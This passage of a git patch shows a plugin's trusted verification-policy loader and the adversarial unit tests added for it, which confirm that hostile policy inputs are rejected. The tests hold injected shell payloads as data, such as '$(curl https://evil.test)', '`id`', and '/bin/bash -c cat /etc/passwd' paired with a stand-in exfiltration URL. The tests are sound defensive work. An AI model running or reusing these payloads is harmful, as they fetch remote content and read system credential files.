ownerConfigDir = hasOwn(options, 'ownerConfigDir') + ? requireNormalizedAbsolute(optOwn(options, 'ownerConfigDir'), 'options.ownerConfigDir') + : defaultOwnerConfigDir(readEnvironment( + hasOwn(options, 'env') ? optOwn(options, 'env') : undefined, + 'options.env', + )); + const dir = PATH_JOIN(ownerConfigDir, OWNER_POLICY_DIRNAME); + const file = PATH_JOIN(dir, OWNER_POLICY_FILENAME); + return capturedFreeze({ + scope: 'owner', + dir, + file, + }); +} + +function sameEntry(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.mode === right.mode + && left.size === right.size && left.mtimeNs === right.mtimeNs && left.ctimeNs === right.ctimeNs; +} + +function requireOwnerControl(entry, kindPath) { + const effectiveUid = typeof process.geteuid === 'function' ? BigInt(process.geteuid()) : undefined; + if ((effectiveUid !== undefined && entry.uid !== effectiveUid) || (entry.mode & 0o022n) !== 0n) { + deny('policy_catalog_not_owner_controlled', kindPath); + } +} + +function catalogOpenFlags() { + return fsConstants.O_RDONLY | (fsConstants.O_NOFOLLOW ?? 0) | (fsConstants.O_NONBLOCK ?? 0); +} + +function assertNoDuplicateJsonKeys(text) { + const scopes = [{ object: false, keys: new SET_CTOR() }]; + let inString = false; + let escaped = false; + let stringStart = -1; + for (let index = 0; index < text.length; index += 1) { + const char = text[index]; + if (inString) { + if (escaped) escaped = false; + else if (char === '\\') escaped = true; + else if (char === '"') { + inString = false; + const scope = scopes[scopes.length - 1]; + if (scope.object) { + let cursor = index + 1; + while (cursor < text.length && (text[cursor] === ' ' || text[cursor] === '\n' + || text[cursor] === '\r' || text[cursor] === '\t')) { + cursor += 1; + } + if (text[cursor] === ':') { + let key; + try { + key = JSON_PARSE(STRING_SLICE(text, stringStart - 1, index + 1)); + } catch { + deny('invalid_encoding', 'policy'); + } + if (SET_HAS.call(scope.keys, key)) deny('duplicate_id', 'policy'); + SET_ADD.call(scope.keys, key); + } + } + } + continue; + } + if (char === '"') { + inString = true; + escaped = false; + stringStart = index + 1; + continue; + } + if (char === '{') ARRAY_PUSH.call(scopes, { object: true, keys: new SET_CTOR() }); + else if (char === '[') ARRAY_PUSH.call(scopes, { object: false, keys: new SET_CTOR() }); + else if (char === '}' || char === ']') { + scopes.pop(); + if (scopes.length === 0) deny('invalid_encoding', 'policy'); + } + } + if (inString || scopes.length !== 1) deny('invalid_encoding', 'policy'); +} + +function parsePolicyText(text) { + assertNoDuplicateJsonKeys(text); + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + deny('invalid_encoding', 'policy'); + } + return parseVerificationPolicyV1(parsed, 'policy'); +} + +async function readOwnerPolicyFile(file) { + let handle; + try { + handle = await FS_OPEN(file, catalogOpenFlags()); + } catch (error) { + if (error && error.code === 'ENOENT') return { present: false, text: undefined }; + if (error && (error.code === 'ENOTDIR' || error.code === 'ELOOP')) { + deny('policy_catalog_not_regular', 'policy'); + } + deny('policy_catalog_unreadable', 'policy'); + } + try { + const before = await handle.stat({ bigint: true }); + if (!before.isFile()) deny('policy_catalog_not_regular', 'policy'); + requireOwnerControl(before, 'policy'); + if (before.size > BigInt(MAX_POLICY_BYTES)) deny('policy_catalog_too_large', 'policy'); + const bytes = await handle.readFile(); + const after = await handle.stat({ bigint: true }); + if (!sameEntry(before, after)) deny('policy_catalog_changed_during_read', 'policy'); + if (bytes.byteLength > MAX_POLICY_BYTES) deny('policy_catalog_too_large', 'policy'); + if (bytes.length >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + deny('invalid_encoding', 'policy'); + } + try { + return { + present: true, + text: REFLECT_APPLY(TEXT_DECODER_DECODE, new TEXT_DECODER('utf-8', { fatal: true }), [bytes]), + }; + } catch { + deny('invalid_encoding', 'policy'); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + deny('policy_catalog_unreadable', 'policy'); + } finally { + await handle.close().catch(() => {}); + } +} + +export async function loadOwnerVerificationPolicyV1(options = {}) { + const roots = verificationPolicyRoots(options); + const dirEntry = await FS_LSTAT(roots.dir, { bigint: true }).catch((error) => { + if (error && error.code === 'ENOENT') return undefined; + deny('policy_catalog_unreadable', 'policy'); + }); + if (dirEntry !== undefined) { + if (dirEntry.isSymbolicLink() || !dirEntry.isDirectory()) deny('policy_catalog_not_regular', 'policy'); + requireOwnerControl(dirEntry, 'policy'); + } + const catalog = await readOwnerPolicyFile(roots.file); + if (dirEntry !== undefined) { + const afterDir = await FS_LSTAT(roots.dir, { bigint: true }).catch(() => { + deny('policy_catalog_changed_during_read', 'policy'); + }); + if (!sameEntry(dirEntry, afterDir)) deny('policy_catalog_changed_during_read', 'policy'); + } + const policy = catalog.present ? parsePolicyText(catalog.text) : emptyPolicy(); + const digest = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + return capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + source: capturedFreeze({ + scope: 'owner', + present: catalog.present === true, + file: roots.file, + }), + policy, + digest, + }); +} + +export const VERIFICATION_POLICY_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + label: VERIFICATION_POLICY_DIGEST_LABEL, + command_label: VERIFICATION_COMMAND_DIGEST_LABEL, + bounds: capturedFreeze({ + max_depth: MAX_POLICY_DEPTH, + max_nodes: MAX_POLICY_NODES, + max_commands: MAX_COMMANDS, + max_argv_tokens: MAX_ARGV_TOKENS, + max_parameters: MAX_PARAMETERS, + max_canonical_bytes: MAX_POLICY_CANONICAL_BYTES, + default_timeout_ms: DEFAULT_TIMEOUT_MS, + default_output_bytes: DEFAULT_OUTPUT_BYTES, + default_error_bytes: DEFAULT_ERROR_BYTES, + }), + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(parseVerificationPolicyV1); +capturedFreeze(parseVerificationCommandDescriptorV1); +capturedFreeze(parseUntrustedCommandReferenceV1); +capturedFreeze(rejectUntrustedExecutableContentV1); +capturedFreeze(canonicalVerificationPolicyJsonV1); +capturedFreeze(verificationPolicyDigestV1); +capturedFreeze(loadOwnerVerificationPolicyV1); +capturedFreeze(verificationPolicyRoots); From 5bc709521ccc7f8aa73cf056b07c93060f2a921b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 063/151] test(verify): cover focused and adversarial trusted-policy surfaces Pin valid owner-policy round trips, canonical identity, default-deny receipts, argv and domain edge cases, executable-content injection from profile/manifest/provider shapes, hostile descriptors, and content-free failures. Loader coverage uses owner-controlled fixtures only and does not execute commands or open a network. --- .../r1-verification-policy-fixtures.mjs | 66 +++ ...d-verification-policy-adversarial.test.mjs | 271 +++++++++++ .../r1-trusted-verification-policy.test.mjs | 454 ++++++++++++++++++ 3 files changed, 791 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs new file mode 100644 index 0000000..f93dd6f --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-verification-policy-fixtures.mjs @@ -0,0 +1,66 @@ +// Shared fixtures for the W14-P16A VerificationPolicyV1 tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the trusted-policy module under test. + +export const COMMAND_ID = 'unit-tests'; +export const EXECUTABLE = '/usr/bin/npm'; + +export function validCommand(overrides = {}) { + return { + command_id: COMMAND_ID, + executable: EXECUTABLE, + argv_template: ['test'], + ...overrides, + }; +} + +export function validParameterizedCommand(overrides = {}) { + return validCommand({ + command_id: 'file-tests', + argv_template: ['test', '--', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 64 }, + }, + ...overrides, + }); +} + +export function validPolicy(overrides = {}) { + return { + schema: 'codex-co-engineer.verification-policy.v1', + version: 1, + commands: [validCommand()], + ...overrides, + }; +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs new file mode 100644 index 0000000..e9a5b6e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs @@ -0,0 +1,271 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_COMMANDS, + MAX_POLICY_DEPTH, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + countingProxy, + trapTotal, + validCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every policy surface', () => { + const { proxy, counts } = countingProxy(validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => verificationPolicyDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const commandCounts = countingProxy(validCommand()); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(commandCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(commandCounts.counts), 0); + + const untrustedCounts = countingProxy({ command_id: 'unit-tests' }); + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(untrustedCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(untrustedCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validPolicy(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseVerificationPolicyV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterPolicy = validPolicy(); + Object.defineProperty(getterPolicy, 'schema', { + enumerable: true, + get() { + reads += 1; + return 'codex-co-engineer.verification-policy.v1'; + }, + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(getterPolicy)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingCommand = validCommand(); + Object.defineProperty(throwingCommand, 'executable', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => parseVerificationCommandDescriptorV1(throwingCommand)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validPolicy(); + Object.defineProperty(hidden, 'version', { enumerable: false, value: 1 }); + assert.equal(errorOf(() => parseVerificationPolicyV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validPolicy(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => parseVerificationPolicyV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedPolicy {} + const instance = new SpoofedPolicy(); + Object.assign(instance, validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validPolicy()); + assert.doesNotThrow(() => parseVerificationPolicyV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 1; } }; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validCommand({ command_id: new String('unit-tests') }); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validPolicy(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseVerificationPolicyV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validPolicy(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseVerificationPolicyV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < MAX_POLICY_DEPTH + 4; index += 1) deep = { wrapped: deep }; + const deepPolicy = validPolicy(); + deepPolicy.deep = deep; + assert.equal(errorOf(() => parseVerificationPolicyV1(deepPolicy)).code, 'value_depth_exceeded'); + + const wide = validPolicy({ + commands: Array.from({ length: MAX_COMMANDS + 1 }, (unused, index) => validCommand({ + command_id: `cmd-${index}`, + })), + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validPolicy(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseVerificationPolicyV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('sparse and extended arrays are denied', () => { + const sparse = validPolicy(); + const commands = new Array(2); + commands[0] = validCommand(); + sparse.commands = commands; + assert.equal(errorOf(() => parseVerificationPolicyV1(sparse)).code, 'invalid_array'); + + const extended = [validCommand()]; + extended.extraProperty = true; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ commands: extended }))).code, + 'invalid_array', + ); +}); + +test('non-finite and unsafe integers are denied', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('executable path and argv hostiles stay closed', () => { + const paths = [ + 'npm', + './npm', + '../usr/bin/npm', + '/usr/bin/../bin/npm', + '/usr/bin/npm/', + '/usr/bin//npm', + '~/bin/npm', + '/usr/bin/npm.exe:ads', + '/usr/bin/n pm', + '/usr/bin/npm;id', + '/usr/bin/${SHELL}', + '/usr/bin/npm\u2044hack', + '/usr/bin/npm\u0000x', + ]; + for (const executable of paths) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ executable }))).code !== undefined, + true, + executable, + ); + } + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '$(whoami)'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '`id`'], + }))).code, + 'shell_content_denied', + ); +}); + +test('untrusted shell text in parameters is denied without echoing it', () => { + const payload = { command_id: 'unit-tests', parameters: { file: '$(curl https://evil.test)' } }; + const error = errorOf(() => parseUntrustedCommandReferenceV1(payload)); + assert.equal(error.code, 'shell_content_denied'); + assert.equal(error.message.includes('curl'), false); + assert.equal(error.message.includes('evil.test'), false); + assert.equal(error.message.includes('$('), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + }))); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); +}); + +test('rejectUntrustedExecutableContentV1 walks nested profile and provider shapes', () => { + const nestedProfile = { + name: 'review', + policy: { commands: [{ command_id: 'x', executable: '/bin/sh' }] }, + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(nestedProfile)).code, + 'executable_content_denied', + ); + const provider = { + claims: [{ command_id: 'unit-tests', network: 'allow' }], + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(provider)).code, + 'network_content_denied', + ); +}); diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs new file mode 100644 index 0000000..49dd72a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs @@ -0,0 +1,454 @@ +import assert from 'node:assert/strict'; +import { chmod, mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + VERIFICATION_POLICY_VERSION, + canonicalVerificationPolicyJsonV1, + loadOwnerVerificationPolicyV1, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, + verificationPolicyRoots, + verifyVerificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + validCommand, + validParameterizedCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(VERIFICATION_POLICY_SCHEMA_ID, 'codex-co-engineer.verification-policy.v1'); + assert.equal(VERIFICATION_POLICY_VERSION, 1); + assert.equal(VERIFICATION_POLICY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid owner policy round-trips into a frozen detached snapshot', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.commands), true); + assert.equal(Object.isFrozen(snapshot.commands[0]), true); + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.deepEqual(snapshot.commands[0].argv_template, ['test']); + input.commands[0].command_id = 'other'; + input.commands[0].executable = '/bin/sh'; + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(input), false); + assert.throws(() => { snapshot.commands[0].command_id = 'mutated'; }, TypeError); +}); + +test('canonical identity and digest are deterministic across key and command order', () => { + const left = validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }); + const right = { + version: 1, + commands: [validCommand(), validParameterizedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }; + assert.equal(canonicalVerificationPolicyJsonV1(left), canonicalVerificationPolicyJsonV1(right)); + const digest = verificationPolicyDigestV1(left); + assert.equal(digest.algorithm, 'sha256'); + assert.equal(digest.domain, IDENTITY_DOMAIN); + assert.equal(digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.match(digest.digest, /^[0-9a-f]{64}$/u); + assert.equal(verificationPolicyDigestV1(right).digest, digest.digest); + assert.equal(verifyVerificationPolicyDigestV1(right, digest.digest), true); + assert.equal(verifyVerificationPolicyDigestV1(right, 'ab'.repeat(32)), false); + const commandDigest = verificationCommandDigestV1(validCommand()); + assert.equal(commandDigest.label, IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR); +}); + +test('absent capabilities materialize exact immutable default-deny receipts', () => { + const snapshot = parseVerificationCommandDescriptorV1(validCommand()); + assert.deepEqual(snapshot.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(snapshot.network.mode, 'deny'); + assert.deepEqual(snapshot.network.hosts, []); + assert.deepEqual(snapshot.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(snapshot.environment.entries, []); + assert.deepEqual(snapshot.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(snapshot.mutation.persistent, false); + assert.equal(snapshot.mutation.workspace, 'none'); + assert.equal(snapshot.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(snapshot.resources, DEFAULT_RESOURCES_RECEIPT); + assert.deepEqual(snapshot.parameters, {}); + + const explicitDeny = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'deny' }, + environment: {}, + mutation: { persistent: false }, + resources: {}, + })); + assert.equal( + canonicalVerificationPolicyJsonV1(validPolicy()), + canonicalVerificationPolicyJsonV1(validPolicy({ + commands: [validCommand({ network: { mode: 'deny' } })], + })), + ); + assert.deepEqual(explicitDeny.network, snapshot.network); + assert.deepEqual(explicitDeny.environment, snapshot.environment); + assert.deepEqual(explicitDeny.mutation, snapshot.mutation); + assert.deepEqual(explicitDeny.resources, snapshot.resources); +}); + +test('argv placeholders bind exactly once to declared parameter domains', () => { + const snapshot = parseVerificationCommandDescriptorV1(validParameterizedCommand()); + assert.deepEqual(snapshot.argv_template, ['test', '--', '{file}']); + assert.equal(snapshot.parameters.file.type, 'path_segment'); + assert.equal(snapshot.parameters.file.max_bytes, 64); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{file}'], + }))).code, + 'placeholder_unbound', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{file}', '{file}'], + }))).code, + 'duplicate_parameter', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '--out={file}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{FILE}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: [], + }))).code, + 'out_of_range', + ); +}); + +test('parameter domain edge cases stay closed', () => { + assert.doesNotThrow(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['run', '{count}', '{ok}', '{mode}'], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + ok: { type: 'boolean' }, + mode: { type: 'enum', values: ['ci', 'local'] }, + }, + }))); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'string' } }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 8, max: 1 } }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 0.5, max: 2 } }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: Number.NaN, max: 2 } }, + }))).code, + 'invalid_json_value', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'enum', values: ['a', 'a'] } }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { 'File': { type: 'boolean' } }, + }))).code, + 'invalid_format', + ); +}); + +test('duplicate and ambiguous command IDs fail closed', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand(), validCommand()], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u2010tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u0301-tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'Unit-Tests' })], + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u0442ests' })], + }))).code, + 'ambiguous_id_denied', + ); +}); + +test('env, network, mutation, and resource constraints stay owner-authored and bounded', () => { + const granted = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'NODE_ENV', value: 'test' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + })); + assert.deepEqual(granted.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(granted.environment.entries[0].name, 'CI'); + assert.equal(granted.timeout_ms, 120_000); + assert.equal(granted.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'PATH', value: '/bin' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'LD_PRELOAD', value: 'x' }] }, + }))).code, + 'env_name_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + environment: { entries: [{ name: 'CI', value: '1' }, { name: 'CI', value: '2' }] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['https://example.test'] }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'allowlist', hosts: ['example.test', 'example.test'] }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + mutation: { persistent: true }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + timeout_ms: 0, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + resources: { max_output_bytes: 0 }, + }))).code, + 'out_of_range', + ); +}); + +test('untrusted references accept command id and typed parameters only', () => { + const snapshot = parseUntrustedCommandReferenceV1({ + command_id: 'unit-tests', + parameters: { file: 'spec.js', count: 1, retry: false }, + }); + assert.equal(snapshot.command_id, 'unit-tests'); + assert.equal(snapshot.parameters.file, 'spec.js'); + assert.equal(snapshot.parameters.count, 1); + assert.equal(snapshot.parameters.retry, false); + assert.equal(Object.isFrozen(snapshot), true); +}); + +test('profile, manifest, and provider executable-content injections are rejected', () => { + const cases = [ + [{ command_id: 'unit-tests', executable: '/usr/bin/npm' }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', argv_template: ['test'] }, 'executable_content_denied'], + [{ command_id: 'unit-tests', shell: true }, 'executable_content_denied'], + [{ command_id: 'unit-tests', script: 'npm test' }, 'executable_content_denied'], + [{ command_id: 